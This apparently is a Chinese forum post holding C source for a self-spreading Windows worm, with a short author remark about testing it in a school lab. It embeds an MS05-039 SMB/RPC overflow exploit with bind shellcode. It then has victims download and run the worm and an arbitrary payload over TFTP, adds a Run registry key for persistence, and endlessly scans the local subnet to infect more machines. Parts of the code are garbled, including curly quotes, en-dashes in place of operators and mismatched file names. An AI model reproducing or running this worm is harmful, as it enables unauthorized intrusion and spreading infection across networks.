"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";
char SMB_TreeConnectAndX[] =
"\x00\x00\x00\x5A\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5A\x00\x08\x00\x01\x00\x2F\x00\x00";
char SMB_TreeConnectAndX_[] =
"\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";
/* browser */
char SMB_PipeRequest_browser[] =
"\x00\x00\x00\x66\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04"
"\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x10\x00\x16\x00\x00\x00"
"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x13\x00\x00\x5C\x00\x62\x00\x72\x00\x6F\x00"
"\x77\x00\x73\x00\x65\x00\x72\x00\x00\x00";
char SMB_PNPEndpoint[] =
/* 8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0: pnp */
"\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04"
"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x10\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
"\x00\x26\x00\x00\x40\x59\x00\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x40\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x01\x00\x40\x4E\x9F\x8D\x3D\xA0\xCE\x11"
"\x8F\x69\x08\x00\x3E\x30\x05\x1B\x01\x00\x00\x00\x04\x5D\x88\x8A"
"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";
char RPC_call[] =
"\x00\x00\x08\x90\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04"
"\x00\x08\x60\x00\x10\x00\x00\x3C\x08\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x3C\x08\x54\x00\x02"
"\x00\x26\x00\x00\x40\x4D\x08\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x40\x00\x05\x00\x00\x03\x10\x00\x00\x00"
"\x3C\x08\x00\x00\x01\x00\x00\x00\x24\x08\x00\x00\x00\x00\x36\x00"
"\x11\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x52\x00\x4F\x00"
"\x4F\x00\x54\x00\x5C\x00\x53\x00\x59\x00\x53\x00\x54\x00\x45\x00"
"\x4D\x00\x5C\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00\x00\x00"
"\xFF\xFF\x00\x00\xE0\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xC0\x07\x00\x00\x00\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76"
"\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76"
"\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76"
"\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76"
/* jmp over – entry point */
"\xEB\x08\x90\x90"
/* pop reg; pop reg; retn; – umpnpmgr.dll */
"\x67\x15\x7a\x76" /* 0×767a1567 */
/* jmp ebx – umpnpmgr.dll
"\x6f\x36\x7a\x76" */
"\xEB\x08\x90\x90\x67\x15\x7a\x76"
"\x90\x90\x90\x90\x90\x90\x90\xEB\x08\x90\x90\x48\x4F\x44\x88\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char RPC_call_end[] =
"\xE0\x07\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00";
char bind_shellcode[] =
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19"
"\xf5\x04\x37\x83\xeb\xfc\xe2\xf4\xe5\x9f\xef\x7a\xf1\x0c\xfb\xc8"
"\xe6\x95\x8f\x5b\x3d\xd1\x8f\x72\x25\x7e\x78\x32\x61\xf4\xeb\xbc"
"\x56\xed\x8f\x68\x39\xf4\xef\x7e\x92\xc1\x8f\x36\xf7\xc4\xc4\xae"
"\xb5\x71\xc4\x43\x1e\x34\xce\x3a\x18\x37\xef\xc3\x22\xa1\x20\x1f"
"\x6c\x10\x8f\x68\x3d\xf4\xef\x51\x92\xf9\x4f\xbc\x46\xe9\x05\xdc"
"\x1a\xd9\x8f\xbe\x75\xd1\x18\x56\xda\xc4\xdf\x53\x92\xb6\x34\xbc"
"\x59\xf9\x8f\x47\x05\x58\x8f\x77\x11\xab\x6c\xb9\x57\xfb\xe8\x67"
"\xe6\x23\x62\x64\x7f\x9d\x37\x05\x71\x82\x77\x05\x46\xa1\xfb\xe7"
"\x71\x3e\xe9\xcb\x22\xa5\xfb\xe1\x46\x7c\xe1\x51\x98\x18\x0c\x35"
"\x4c\x9f\x06\xc8\xc9\x9d\xdd\x3e\xec\x58\x53\xc8\xcf\xa6\x57\x64"
"\x4a\xa6\x47\x64\x5a\xa6\xfb\xe7\x7f\x9d\x1a\x55\x7f\xa6\x8d\xd6"
"\x8c\x9d\xa0\x2d\x69\x32\x53\xc8\xcf\x9f\x14\x66\x4c\x0a\xd4\x5f"
"\xbd\x58\x2a\xde\x4e\x0a\xd2\x64\x4c\x0a\xd4\x5f\xfc\xbc\x82\x7e"
"\x4e\x0a\xd2\x67\x4d\xa1\x51\xc8\xc9\x66\x6c\xd0\x60\x33\x7d\x60"
"\xe6\x23\x51\xc8\xc9\x93\x6e\x53\x7f\x9d\x67\x5a\x90\x10\x6e\x67"
"\x40\xdc\xc8\xbe\xfe\x9f\x40\xbe\xfb\xc4\xc4\xc4\xb3\x0b\x46\x1a"
"\xe7\xb7\x28\xa4\x94\x8f\x3c\x9c\xb2\x5e\x6c\x45\xe7\x46\x12\xc8"
"\x6c\xb1\xfb\xe1\x42\xa2\x56\x66\x48\xa4\x6e\x36\x48\xa4\x51\x66"
"\xe6\x25\x6c\x9a\xc0\xf0\xca\x64\xe6\x23\x6e\xc8\xe6\xc2\xfb\xe7"
"\x92\xa2\xf8\xb4\xdd\x91\xfb\xe1\x4b\x0a\xd4\x5f\xf6\x3b\xe4\x57"
"\x4a\x0a\xd2\xc8\xc9\xf5\x04\x37";
#define SET_PORTBIND_PORT(buf, port) \
*(unsigned short *)(((buf)+186)) = (port)
//这个是worm.cpp
// worm.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include "stdafx.h"
#include "shellcode.h"
#include <windows.h>
#include <stdio.h>
#include <shellapi.h>
void convert_name(char *out, char *name)
{
unsigned long len;
len = strlen(name);
out += len * 2 – 1;
while (len–) {
*out– = ‘\x00′;
*out– = name[len];
}
}
//********************************************************
//GetShell是.::[ houseofdabus ]::.写的ms05039溢出exploit
//可以得到远程win2k主机的shell,是蠕虫的精华部分
//*********************************************************
int GetShell(char* IP_address)
{
struct sockaddr_in addr;
struct hostent *he;
int len;
int sockfd;
unsigned short smblen;
unsigned short bindport;
char tmp[1024];
char packet[4096];
char *ptr;
char recvbuf[4096];
#ifdef _WIN32
WSADATA wsa;
WSAStartup(MAKEWORD(2,0), &wsa);
#endif
if ((he = gethostbyname(IP_address)) == NULL) {
return 1;
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
return 1;
}
addr.sin_family = AF_INET;
addr.sin_port = htons(445);
addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(addr.sin_zero), ‘\0′, 8);
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
return 1;
}
if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) {
return 1;
}
len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
;
return 1;
}
if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0) < 0) {
return 1;
}
len = recv(sockfd, recvbuf, 4096, 0);
if (len <= 10) {
return 1;
}
if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1, 0) < 0) {
return 1;
}
len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
return 1;
}
ptr = packet;
memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1);
ptr += sizeof(SMB_TreeConnectAndX)-1;
sprintf(tmp, "\\\\%s\\IPC$", IP_address);
convert_name(ptr, tmp);
smblen = strlen(tmp)*2;
ptr += smblen;
smblen += 9;
memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1);
memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1);
ptr += sizeof(SMB_TreeConnectAndX_)-1;
smblen = ptr-packet;
smblen -= 4;
memcpy(packet+3, &smblen, 1);
if (send(sockfd, packet, ptr-packet, 0) < 0) {
return 1;
}
len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
return 1;
}
if (send(sockfd, SMB_PipeRequest_browser, sizeof(SMB_PipeRequest_browser)-1, 0) < 0) {
return 1;
}
len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
return 1;
}
if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) {
return 1;
}
len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
return 1;
}
// nop
ptr = packet;
memset(packet, ‘\x90′, sizeof(packet));
// header & offsets
memcpy(ptr, RPC_call, sizeof(RPC_call)-1);
ptr += sizeof(RPC_call)-1;
// shellcode
bindport = 7777;
bindport ^= 0×0437;
SET_PORTBIND_PORT(bind_shellcode, htons(bindport));
memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);
// end of packet
memcpy( packet + 2196 – sizeof(RPC_call_end)-1 + 2,
RPC_call_end,
sizeof(RPC_call_end)-1);
// sending…
if (send(sockfd, packet, 2196, 0) < 0) {
return 1;
}
return 0;
}
//*******************************************************
//繁殖复制 by nick chang
//********************************************************
int propagate(char *IP_address)
{
struct sockaddr_in addr;
struct hostent *he;
int sockfd;
char recvbuf[4096];
#ifdef _WIN32
WSADATA wsa;
WSAStartup(MAKEWORD(2,0), &wsa);
#endif
char szHostname[256];
char *pszAddr;
struct hostent *pHost;
//得到本机的IP地址
if(gethostname(szHostname,sizeof(szHostname))==0)
{
pHost=gethostbyname(szHostname);
if(pHost)
pszAddr=inet_ntoa(*(struct in_addr *) pHost->h_addr_list[0]);
}
//发送3传送文件命令,让远程主机从本机取3个文件
//tftpd32是tftp的服务端,即在每个受害主机上建立一个tftp服务器
//worm 就是这个蠕虫文件本身了
//payload就是一个负载文件,可以是后门,也可以是ddos的客户端
char sendserver[40];
char sendworm[40];
char sendpayload[40];
sprintf(sendserver,"tftp -i %s GET tftpd32.exe\n",pszAddr);
sprintf(sendworm,"tftp -i %s GET worm.exe\n",pszAddr);
sprintf(sendpayload,"tftp -i %s GET payload.exe\n",pszAddr);
if ((he = gethostbyname(IP_address)) == NULL) {
return 1;
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
return 1;
}
addr.sin_family = AF_INET;
addr.sin_port = htons(7777);
addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(addr.sin_zero), ‘\0′, 8);
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
return 1;
}
recv(sockfd, recvbuf, 4096, 0);
//向远方主机发送3个取文件的命宁
if (send(sockfd, sendserver, strlen(sendserver), 0) < 0) {
return 1;
}
Sleep(500);
if (send(sockfd, sendworm, strlen(sendworm), 0) < 0) {
return 1;
}
Sleep(500);
if (send(sockfd, sendpayload, strlen(sendpayload), 0) < 0) {
return 1;
}
Sleep(500);
//向远方主机发送执行蠕虫的命宁
if (send(sockfd, "start ee.exe\n", strlen("start worm.exe\n"), 0) < 0) {
return 1;
}
Sleep(500);
if (send(sockfd, "ee.exe\n", strlen("worm.exe\n"), 0) < 0) {
return 1;
}
return 0;
}
//*****************************************************
//蠕虫线程,得到shell和复制by nick chang
//******************************************************
DWORD WINAPI Attack(LPVOID p)
{
int ret;
char *IP_address = (char *)p;
if((ret=GetShell(IP_address))== 0)
propagate(IP_address);
return 0;
}
//********************************************************
//假设mask 255.255.255.0 by nick chang
//*********************************************************
void gethost(char* pszAddr)
{
int i=0;
int j=0;
while(i!=3)
{
if(pszAddr[j] == ‘.’)
i++;
j++;
}
pszAddr[j] = ‘\0′;
}
//********************************************************
//主程序by nick chang
//********************************************************
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char szHostname[256];
char *pszAddr;
struct hostent *pHost;
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
//创建一个互斥量,确保只有一个蠕虫在运行
HANDLE m_hMutex = CreateMutex(NULL, NULL, "wormmutex");
if(GetLastError()==ERROR_ALREADY_EXISTS)
{
return 1;
}
//执行 payload
for(int i =0; i<20;i++)
ShellExecute(NULL,"open","payload.exe","","", SW_SHOW );
//运行tftp服务
ShellExecute(NULL,"open","tftpd32.exe","","", SW_HIDE );
DWORD dwThreadID;
//写入注册表,开机时自动运行蠕虫
HKEY hKey;
char path[] = "c:\\winnt\\system32\\worm.exe";
char data_Set[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
int len = strlen(path);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set,0,KEY_WRITE,&hKey);
RegSetValueEx(hKey,NULL,NULL,REG_SZ,(LPBYTE)path,len);
RegCloseKey(hKey);
//得到自己的地址
if(gethostname(szHostname,sizeof(szHostname))==0)
{
pHost=gethostbyname(szHostname);
if(pHost)
pszAddr=inet_ntoa(*(struct in_addr *) pHost->h_addr_list[0]);
}
while(1)
{
//由自己的地址穷举局域网里的其他机器的地址,假设mask255.255.255.0
for(int i=1 ; i<255; i++)
{
gethost(pszAddr);
sprintf(pszAddr,"%s%i",pszAddr,i);
//以这个地址创造攻击线程
CreateThread(NULL,0,Attack,pszAddr,0,&dwThreadID);
Sleep(500);
}
Sleep(30000);//停一段时间在攻击,以免对方直接crash.
}
return 0;
}
在学校实验室测试通过,payload我用了一个毛毛虫的桌面宠物,结果机房里面的机器屏幕上爬满了毛毛虫。。。。。
声明:本人是菜鸟,代码质量不高,有写的不对的地方,请各位高手多多指教
nickchang918@hotmail.com



